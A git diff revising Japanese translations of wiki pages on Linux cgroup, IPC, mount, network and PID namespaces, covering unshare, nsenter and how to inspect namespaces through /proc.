+- 新しい名前空間の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、孤児プロセスを引き取る特別な役割を持つ PID 1 により名前空間のクリーンアップがトリガーされます。Linux カーネルはその名前空間での PID 割り当てを無効にします。
2. **結果**:
-- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
+- 新しい名前空間での PID 1 の終了は `PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
3. **解決策**:
-- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
-- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。
+- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID 名前空間を作成した後に新しいプロセスをフォークします。
+- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しい名前空間で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しい名前空間内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。
-`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
+`unshare` が `-f` フラグで実行されることを保証することで、新しい PID 名前空間が正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
@@ -58,7 +58,7 @@ sudo unshare -C [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### プロセスがどの名前空間にあるかを確認する
+### プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
@@ -73,7 +73,7 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null
```bash
nsenter -C TARGET_PID --pid /bin/bash
```
-また、**ルートでない限り、他のプロセスネームスペースに入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他のネームスペースに**入ることはできません**(例えば、`/proc/self/ns/cgroup`のように)。
+また、**ルートでない限り、他のプロセスの名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り(例えば `/proc/self/ns/cgroup`)、他の名前空間に**入ることはできません**。
## 参考文献
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
index ee2efe508..94854d268 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
@@ -4,13 +4,13 @@
## 基本情報
-IPC(Inter-Process Communication)名前空間は、メッセージキュー、共有メモリセグメント、セマフォなどのSystem V IPCオブジェクトの**隔離**を提供するLinuxカーネルの機能です。この隔離により、**異なるIPC名前空間のプロセスは互いのIPCオブジェクトに直接アクセスしたり、変更したりできない**ため、プロセスグループ間のセキュリティとプライバシーの追加層が提供されます。
+IPC(Inter-Process Communication)名前空間は、メッセージキュー、共有メモリセグメント、セマフォなどのSystem V IPCオブジェクトの**隔離**を提供するLinuxカーネルの機能です。この隔離により、**異なるIPC名前空間内のプロセスは互いのIPCオブジェクトに直接アクセスしたり、変更したりできない**ため、プロセスグループ間のセキュリティとプライバシーが追加されます。
### 仕組み:
-1. 新しいIPC名前空間が作成されると、**完全に隔離されたSystem V IPCオブジェクトのセット**から始まります。これは、新しいIPC名前空間で実行されるプロセスが、デフォルトで他の名前空間やホストシステムのIPCオブジェクトにアクセスしたり干渉したりできないことを意味します。
-2. 名前空間内で作成されたIPCオブジェクトは、その名前空間内のプロセスにのみ**可視でアクセス可能**です。各IPCオブジェクトは、その名前空間内で一意のキーによって識別されます。キーは異なる名前空間で同一である可能性がありますが、オブジェクト自体は隔離されており、名前空間を越えてアクセスすることはできません。
-3. プロセスは`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを`CLONE_NEWIPC`フラグと共に使用して新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたIPCオブジェクトを使用し始めます。
+1. 新しいIPC名前空間が作成されると、**完全に隔離されたSystem V IPCオブジェクトのセット**から始まります。これは、新しいIPC名前空間内で実行されるプロセスが、デフォルトで他の名前空間やホストシステムのIPCオブジェクトにアクセスしたり干渉したりできないことを意味します。
+2. 名前空間内で作成されたIPCオブジェクトは、その名前空間内のプロセスにのみ表示され、**アクセス可能です**。各IPCオブジェクトは、その名前空間内で一意のキーによって識別されます。キーは異なる名前空間で同一である可能性がありますが、オブジェクト自体は隔離されており、名前空間を越えてアクセスすることはできません。
+3. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを使用して`CLONE_NEWIPC`フラグで新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたIPCオブジェクトを使用し始めます。
## ラボ:
@@ -20,29 +20,29 @@ IPC(Inter-Process Communication)名前空間は、メッセージキュー
```bash
sudo unshare -i [--mount-proc] /bin/bash
```
-新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウント名前空間がその名前空間に特有のプロセス情報の**正確で隔離されたビュー**を持つことを保証します。
+新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースが **そのネームスペースに特有のプロセス情報の正確で孤立したビューを持つことを保証します**。
エラー: bash: fork: メモリを割り当てることができません
-`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) 名前空間を処理する方法のためにエラーが発生します。重要な詳細と解決策は以下に示されています。
+`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
-1. **問題の説明**:
+1. **問題の説明**:
-- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しい名前空間を作成することを許可します。しかし、新しい PID 名前空間の作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しい名前空間に入らず、その子プロセスのみが入ります。
-- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID 名前空間に存在します。
-- 新しい名前空間内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、名前空間のクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはその名前空間での PID 割り当てを無効にします。
+- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。
+- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
+- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っているためです。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
-2. **結果**:
+2. **結果**:
-- 新しい名前空間での PID 1 の終了は、`PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
+- 新しいネームスペース内での PID 1 の終了は `PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
-3. **解決策**:
-- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID 名前空間を作成した後に新しいプロセスをフォークします。
-- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しい名前空間で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しい名前空間内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。
+3. **解決策**:
+- この問題は `unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
+- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
-`unshare` が `-f` フラグで実行されることを保証することで、新しい PID 名前空間が正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
+`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
@@ -50,12 +50,12 @@ sudo unshare -i [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### プロセスがどの名前空間にあるかを確認する
+### プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
```
-### すべてのIPCネームスペースを見つける
+### すべてのIPC名前空間を見つける
```bash
sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
@@ -65,9 +65,9 @@ sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | g
```bash
nsenter -i TARGET_PID --pid /bin/bash
```
-また、**ルートでない限り、他のプロセス名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他の名前空間に**入ることはできません**(例えば、`/proc/self/ns/net`のように)。
+また、**ルートでない限り、他のプロセス名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り(例えば `/proc/self/ns/net`)、他の名前空間に**入ることはできません**。
-### IPCオブジェクトの作成
+### IPCオブジェクトを作成する
```bash
# Container
sudo unshare -i /bin/bash
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
index 673d6238a..28f2c07f9 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
@@ -4,7 +4,7 @@
## 基本情報
-マウントネームスペースは、プロセスのグループが見るファイルシステムのマウントポイントを隔離するLinuxカーネルの機能です。各マウントネームスペースは独自のファイルシステムマウントポイントのセットを持ち、**1つのネームスペースのマウントポイントの変更は他のネームスペースに影響を与えません**。これは、異なるマウントネームスペースで実行されているプロセスがファイルシステム階層の異なるビューを持つことができることを意味します。
+マウントネームスペースは、プロセスのグループが見るファイルシステムのマウントポイントの隔離を提供するLinuxカーネルの機能です。各マウントネームスペースは独自のファイルシステムマウントポイントのセットを持ち、**あるネームスペースのマウントポイントへの変更は他のネームスペースに影響を与えません**。これは、異なるマウントネームスペースで実行されているプロセスがファイルシステム階層の異なるビューを持つことができることを意味します。
マウントネームスペースは特にコンテナ化において便利であり、各コンテナは他のコンテナやホストシステムから隔離された独自のファイルシステムと設定を持つべきです。
@@ -12,8 +12,8 @@
1. 新しいマウントネームスペースが作成されると、**親ネームスペースからのマウントポイントのコピーで初期化されます**。これは、作成時に新しいネームスペースが親と同じファイルシステムのビューを共有することを意味します。しかし、その後のネームスペース内のマウントポイントへの変更は、親や他のネームスペースに影響を与えません。
2. プロセスがそのネームスペース内のマウントポイントを変更すると、例えばファイルシステムをマウントまたはアンマウントする場合、**変更はそのネームスペースにローカルであり**、他のネームスペースには影響を与えません。これにより、各ネームスペースは独自の独立したファイルシステム階層を持つことができます。
-3. プロセスは`setns()`システムコールを使用してネームスペース間を移動したり、`unshare()`または`clone()`システムコールを`CLONE_NEWNS`フラグと共に使用して新しいネームスペースを作成したりできます。プロセスが新しいネームスペースに移動するか、作成すると、そのネームスペースに関連付けられたマウントポイントを使用し始めます。
-4. **ファイルディスクリプタとinodeはネームスペース間で共有されます**。つまり、1つのネームスペースのプロセスがファイルを指すオープンファイルディスクリプタを持っている場合、その**ファイルディスクリプタを他のネームスペースのプロセスに渡すことができ**、**両方のプロセスが同じファイルにアクセスします**。ただし、マウントポイントの違いにより、ファイルのパスは両方のネームスペースで同じではない場合があります。
+3. プロセスは`setns()`システムコールを使用してネームスペース間を移動することができ、`unshare()`または`clone()`システムコールを`CLONE_NEWNS`フラグと共に使用して新しいネームスペースを作成することができます。プロセスが新しいネームスペースに移動するか、新しいネームスペースを作成すると、そのネームスペースに関連付けられたマウントポイントを使用し始めます。
+4. **ファイルディスクリプタとinodeはネームスペース間で共有されます**。つまり、あるネームスペースのプロセスがファイルを指すオープンファイルディスクリプタを持っている場合、その**ファイルディスクリプタを他のネームスペースのプロセスに渡すことができ**、**両方のプロセスが同じファイルにアクセスします**。ただし、マウントポイントの違いにより、ファイルのパスは両方のネームスペースで同じではない場合があります。
## ラボ:
@@ -23,27 +23,27 @@
```bash
sudo unshare -m [--mount-proc] /bin/bash
```
-新しいインスタンスの `/proc` ファイルシステムをマウントすることで、`--mount-proc` パラメータを使用すると、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことが保証されます。
+新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。
エラー: bash: fork: メモリを割り当てることができません
-`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
+`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下に示されています。
-1. **問題の説明**:
+1. **問題の説明**:
- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
-- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っているためです。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
+- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、PID 1 が孤児プロセスを引き取る特別な役割を持っているため、ネームスペースのクリーンアップがトリガーされます。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
-2. **結果**:
+2. **結果**:
-- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
+- 新しいネームスペース内での PID 1 の終了は、`PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
-3. **解決策**:
-- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
-- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。
+3. **解決策**:
+- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
+- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
@@ -53,7 +53,7 @@ sudo unshare -m [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### プロセスがどの名前空間にあるかを確認する
+### プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
@@ -72,7 +72,7 @@ findmnt
```bash
nsenter -m TARGET_PID --pid /bin/bash
```
-また、**ルートでない限り、他のプロセスの名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他の名前空間に**入ることはできません**(例えば、`/proc/self/ns/mnt`のように)。
+また、**ルートでなければ他のプロセスの名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り(例えば `/proc/self/ns/mnt`)、他の名前空間に**入ることはできません**。
新しいマウントは名前空間内でのみアクセス可能であるため、名前空間にはそれからのみアクセス可能な機密情報が含まれている可能性があります。
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
index 97264cd6e..3a2ca62be 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
@@ -4,14 +4,14 @@
## 基本情報
-ネットワーク名前空間は、ネットワークスタックの隔離を提供するLinuxカーネルの機能であり、**各ネットワーク名前空間が独自のネットワーク構成**、インターフェース、IPアドレス、ルーティングテーブル、およびファイアウォールルールを持つことを可能にします。この隔離は、各コンテナが他のコンテナやホストシステムとは独立したネットワーク構成を持つべきであるコンテナ化など、さまざまなシナリオで有用です。
+ネットワーク名前空間は、ネットワークスタックの分離を提供するLinuxカーネルの機能であり、**各ネットワーク名前空間が独自のネットワーク構成**、インターフェース、IPアドレス、ルーティングテーブル、およびファイアウォールルールを持つことを可能にします。この分離は、各コンテナが他のコンテナやホストシステムとは独立したネットワーク構成を持つべきであるコンテナ化など、さまざまなシナリオで有用です。
### 仕組み:
-1. 新しいネットワーク名前空間が作成されると、**完全に隔離されたネットワークスタック**が開始され、ループバックインターフェース(lo)を除いて**ネットワークインターフェースは存在しません**。これは、新しいネットワーク名前空間で実行されているプロセスが、デフォルトでは他の名前空間やホストシステムのプロセスと通信できないことを意味します。
+1. 新しいネットワーク名前空間が作成されると、**完全に分離されたネットワークスタック**が開始され、ループバックインターフェース(lo)を除いて**ネットワークインターフェースは存在しません**。これは、新しいネットワーク名前空間内で実行されているプロセスが、デフォルトでは他の名前空間やホストシステムのプロセスと通信できないことを意味します。
2. vethペアのような**仮想ネットワークインターフェース**を作成し、ネットワーク名前空間間で移動させることができます。これにより、名前空間間または名前空間とホストシステム間でネットワーク接続を確立できます。たとえば、vethペアの一方の端をコンテナのネットワーク名前空間に配置し、もう一方の端をホスト名前空間の**ブリッジ**または別のネットワークインターフェースに接続することで、コンテナにネットワーク接続を提供します。
3. 名前空間内のネットワークインターフェースは、他の名前空間とは独立して**独自のIPアドレス、ルーティングテーブル、およびファイアウォールルール**を持つことができます。これにより、異なるネットワーク名前空間内のプロセスは異なるネットワーク構成を持ち、別々のネットワークシステム上で実行されているかのように動作できます。
-4. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを使用して`CLONE_NEWNET`フラグで新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたネットワーク構成とインターフェースを使用し始めます。
+4. プロセスは`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを使用して`CLONE_NEWNET`フラグで新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたネットワーク構成とインターフェースを使用し始めます。
## ラボ:
@@ -22,11 +22,11 @@
sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a
```
-新しいインスタンスの `/proc` ファイルシステムをマウントすることで、`--mount-proc` パラメータを使用すると、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことが保証されます。
+新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。
-エラー: bash: fork: メモリを割り当てできません
+エラー: bash: fork: メモリを割り当てることができません
`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
@@ -34,14 +34,14 @@ sudo unshare -n [--mount-proc] /bin/bash
- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
-- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、孤児プロセスを引き取る特別な役割を持つ PID 1 によりネームスペースのクリーンアップがトリガーされます。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
+- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っているためです。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
2. **結果**:
-- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に新しい PID を割り当てる `alloc_pid` 関数が失敗し、「メモリを割り当てできません」というエラーが発生します。
+- 新しいネームスペース内での PID 1 の終了は、`PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
3. **解決策**:
-- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
+- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークするようにします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
@@ -53,12 +53,12 @@ sudo unshare -n [--mount-proc] /bin/bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
-### プロセスがどの名前空間にあるかを確認する
+### プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
```
-### すべてのネットワーク名前空間を見つける
+### すべてのネットワークネームスペースを見つける
```bash
sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:"
# Find the processes with an specific namespace
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
index 34449cd28..de874ed86 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
@@ -4,22 +4,22 @@
## 基本情報
-PID (プロセス識別子) 名前空間は、Linux カーネルの機能であり、プロセスの隔離を提供します。これにより、一群のプロセスが他の名前空間の PID とは別に独自の一意の PID セットを持つことができます。これは、プロセスの隔離がセキュリティとリソース管理にとって重要なコンテナ化に特に役立ちます。
+PID (プロセス識別子) ネームスペースは、Linux カーネルの機能であり、プロセスの隔離を提供します。これにより、一群のプロセスが他のネームスペースの PID とは別の一意の PID のセットを持つことができます。これは、プロセスの隔離がセキュリティとリソース管理に不可欠なコンテナ化に特に役立ちます。
-新しい PID 名前空間が作成されると、その名前空間内の最初のプロセスには PID 1 が割り当てられます。このプロセスは新しい名前空間の「init」プロセスとなり、その名前空間内の他のプロセスを管理する責任を負います。名前空間内で作成される各後続プロセスは、その名前空間内で一意の PID を持ち、これらの PID は他の名前空間の PID とは独立しています。
+新しい PID ネームスペースが作成されると、そのネームスペース内の最初のプロセスには PID 1 が割り当てられます。このプロセスは新しいネームスペースの「init」プロセスとなり、そのネームスペース内の他のプロセスを管理する責任を負います。ネームスペース内で作成される各後続プロセスは、そのネームスペース内で一意の PID を持ち、これらの PID は他のネームスペースの PID とは独立しています。
-PID 名前空間内のプロセスの視点から見ると、同じ名前空間内の他のプロセスのみを認識できます。他の名前空間のプロセスを認識せず、従来のプロセス管理ツール(例: `kill`, `wait` など)を使用して相互作用することはできません。これにより、プロセスが互いに干渉するのを防ぐための隔離レベルが提供されます。
+PID ネームスペース内のプロセスの視点から見ると、同じネームスペース内の他のプロセスのみを見ることができます。他のネームスペースのプロセスを認識せず、従来のプロセス管理ツール(例: `kill`, `wait` など)を使用して相互作用することはできません。これにより、プロセスが互いに干渉するのを防ぐための隔離レベルが提供されます。
### 仕組み:
-1. 新しいプロセスが作成されると(例: `clone()` システムコールを使用して)、プロセスは新しいまたは既存の PID 名前空間に割り当てられます。**新しい名前空間が作成されると、プロセスはその名前空間の「init」プロセスになります**。
-2. **カーネルは新しい名前空間内の PID と親名前空間内の対応する PID との間の**マッピングを維持します(つまり、新しい名前空間が作成された親名前空間)。このマッピングは、**カーネルが必要に応じて PID を変換できるようにします**。たとえば、異なる名前空間のプロセス間で信号を送信する際などです。
-3. **PID 名前空間内のプロセスは、同じ名前空間内の他のプロセスのみを見たり相互作用したりできます**。他の名前空間のプロセスを認識せず、その PID は自分の名前空間内で一意です。
-4. **PID 名前空間が破棄されると**(例: 名前空間の「init」プロセスが終了すると)、**その名前空間内のすべてのプロセスが終了します**。これにより、名前空間に関連付けられたすべてのリソースが適切にクリーンアップされます。
+1. 新しいプロセスが作成されると(例: `clone()` システムコールを使用)、プロセスは新しいまたは既存の PID ネームスペースに割り当てられます。**新しいネームスペースが作成されると、プロセスはそのネームスペースの「init」プロセスになります**。
+2. **カーネル**は、新しいネームスペース内の PID と親ネームスペース内の対応する PID との**マッピングを維持します**(つまり、新しいネームスペースが作成されたネームスペース)。このマッピングは、**カーネルが必要に応じて PID を変換できるようにします**。たとえば、異なるネームスペースのプロセス間で信号を送信する際などです。
+3. **PID ネームスペース内のプロセスは、同じネームスペース内の他のプロセスのみを見たり相互作用したりできます**。彼らは他のネームスペースのプロセスを認識せず、彼らの PID はそのネームスペース内で一意です。
+4. **PID ネームスペースが破棄されると**(例: ネームスペースの「init」プロセスが終了すると)、**そのネームスペース内のすべてのプロセスが終了します**。これにより、ネームスペースに関連するすべてのリソースが適切にクリーンアップされます。
## ラボ:
-### 異なる名前空間を作成する
+### 異なるネームスペースを作成する
#### CLI
```bash
@@ -29,33 +29,33 @@ sudo unshare -pf --mount-proc /bin/bash
エラー: bash: fork: メモリを割り当てできません
-`unshare`が`-f`オプションなしで実行されると、Linuxが新しいPID(プロセスID)名前空間を扱う方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
+`unshare`が`-f`オプションなしで実行されると、Linuxが新しいPID(プロセスID)名前空間を扱う方法によりエラーが発生します。以下に重要な詳細と解決策を示します。
-1. **問題の説明**:
+1. **問題の説明**:
- Linuxカーネルは、プロセスが`unshare`システムコールを使用して新しい名前空間を作成することを許可します。しかし、新しいPID名前空間の作成を開始するプロセス(「unshare」プロセスと呼ばれる)は、新しい名前空間に入ることはなく、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%`を実行すると、`unshare`と同じプロセスで`/bin/bash`が開始されます。その結果、`/bin/bash`とその子プロセスは元のPID名前空間に存在します。
